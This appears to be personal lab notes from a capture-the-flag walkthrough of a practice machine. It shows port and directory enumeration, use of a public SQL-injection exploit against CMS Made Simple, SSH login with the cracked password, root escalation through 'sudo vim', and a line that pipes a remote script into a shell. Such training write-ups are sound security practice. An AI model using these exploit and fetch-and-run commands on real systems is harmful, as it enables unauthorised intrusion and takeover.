**Enum**:

Open 10.10.226.212:21

Open 10.10.226.212:80

Open 10.10.226.212:2222

PORT STATE SERVICE REASON VERSION

21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3

| ftp-syst:

| STAT:

| FTP server status:

| Connected to ::ffff:10.18.43.123

| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| At session startup, client count was 1

| vsFTPd 3.0.3 - secure, fast, stable

|\_End of status

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|\_Can't get directory listing: TIMEOUT

80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))

|\_http-title: Apache2 Ubuntu Default Page: It works

|\_http-server-header: Apache/2.4.18 (Ubuntu)

| http-methods:

|\_ Supported Methods: POST OPTIONS GET HEAD

| http-robots.txt: 2 disallowed entries

|\_/ /openemr-5\_0\_1\_3

2222/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)

| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCj5RwZ5K4QU12jUD81IxGPdEmWFigjRwFNM2pVBCiIPWiMb+R82pdw5dQPFY0JjjicSysFN3pl8ea2L8acocd/7zWke6ce50tpHaDs8OdBYLfpkh+OzAsDwVWSslgKQ7rbi/ck1FF1LIgY7UQdo5FWiTMap7vFnsT/WHL3HcG5Q+el4glnO4xfMMvbRar5WZd4N0ZmcwORyXrEKvulWTOBLcoMGui95Xy7XKCkvpS9RCpJgsuNZ/oau9cdRs0gDoDLTW4S7OI9Nl5obm433k+7YwFeoLnuZnCzegEhgq/bpMo+fXTb/4ILI5bJHJQItH2Ae26iMhJjlFsMqQw0FzLf

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

OS fingerprint not ideal because: Missing a closed TCP port so results incomplete

Aggressive OS guesses: Linux 3.10 - 3.13 (90%), Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Adtran 424RG FTTH gateway (86%), Linux 2.6.32 (86%)

No exact OS matches for host (test conditions non-ideal).

Uptime guess: 30.527 days (since Wed Mar 2 18:27:23 2022)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux\_kernel

**Gobuster**:

Gobuster v3.1.0

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

===============================================================

[+] Url: <http://10.10.226.212/>

[+] Method: GET

[+] Threads: 10

[+] Wordlist: /usr/share/dirb/wordlists/common.txt

[+] Negative Status codes: 404

[+] User Agent: gobuster/3.1.0

[+] Timeout: 10s

===============================================================

2022/04/02 08:11:55 Starting gobuster in directory enumeration mode

===============================================================

/.hta (Status: 403) [Size: 292]

/.htaccess (Status: 403) [Size: 297]

/.htpasswd (Status: 403) [Size: 297]

/index.html (Status: 200) [Size: 11321]

/robots.txt (Status: 200) [Size: 929]

/server-status (Status: 403) [Size: 301]

/simple (Status: 301) [Size: 315] [--><http://10.10.226.212/simple/>]

===============================================================

2022/04/02 08:12:19 Finished

**exploit cve**

Navigate to <http://10.10.226.212/simple/>

On the bottom of the site found this:

Copyright 2004 - 2022 - CMS Made Simple

This site is powered by CMS Made Simple version 2.2.8

->  [**CVE-2019-9053**](https://www.cvedetails.com/cve/CVE-2019-9053/)

from home page -> link to /admin/login.php

Download the python script and rename it to cms-simple.py

#chmod +x cms-simple.py

#pip install termcolor - script was not running due to this

copy the termcolor.py file from /usr/lib/python3/dist-packages to /usr/lib/python2.7

because the script uses python2

Run the script:

#python cms-simple.py

[+] Specify an url target

[+] Example usage (no cracking password): exploit.py -u<http://target-uri>

[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist

[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.

run with the correct parameters and crack with the given wordlist

#python cms-simple.py -u<http://10.10.226.212/simple/> --crack -w best110.txt

[+] Salt for password found: 1dac0d92e9fa6bb2

[+] Username found: mitch

[+] Email found: admin@admin.com

[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96

[+] Password: secret

**ssh, foothold**

log in to ssh with

ssh mitch@10.10.226.212 -p 2222

pw: secret

# pwd

/home/mitch

# ls -la

total 36

drwxr-x--- 3 mitch mitch 4096 aug 19 2019 .

drwxr-xr-x 4 root root 4096 aug 17 2019 ..

-rw------- 1 mitch mitch 178 aug 17 2019 .bash\_history

-rw-r--r-- 1 mitch mitch 220 sep 1 2015 .bash\_logout

-rw-r--r-- 1 mitch mitch 3771 sep 1 2015 .bashrc

drwx------ 2 mitch mitch 4096 aug 19 2019 .cache

-rw-r--r-- 1 mitch mitch 655 mai 16 2017 .profile

-rw-rw-r-- 1 mitch mitch 19 aug 17 2019 user.txt

-rw------- 1 mitch mitch 515 aug 17 2019 .viminfo

#cat user.txt

user flag: G00d j0b, keep up!

**Privilege Escalation**

#sudo -l

User mitch may run the following commands on Machine:

(root) NOPASSWD: /usr/bin/vim

possible priv esc. method

--->

#sudo vim -c '!sh'

get the root flag

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

/etc/crontab

linpeas:

###python3 -m http.server 80 #Host

###curl my\_ip/linpeas.sh | sh | linlog.txt # victim ->

or

scp -P {port} {file to transfer} {uname}@{ip:/location}

another CVE vulnerability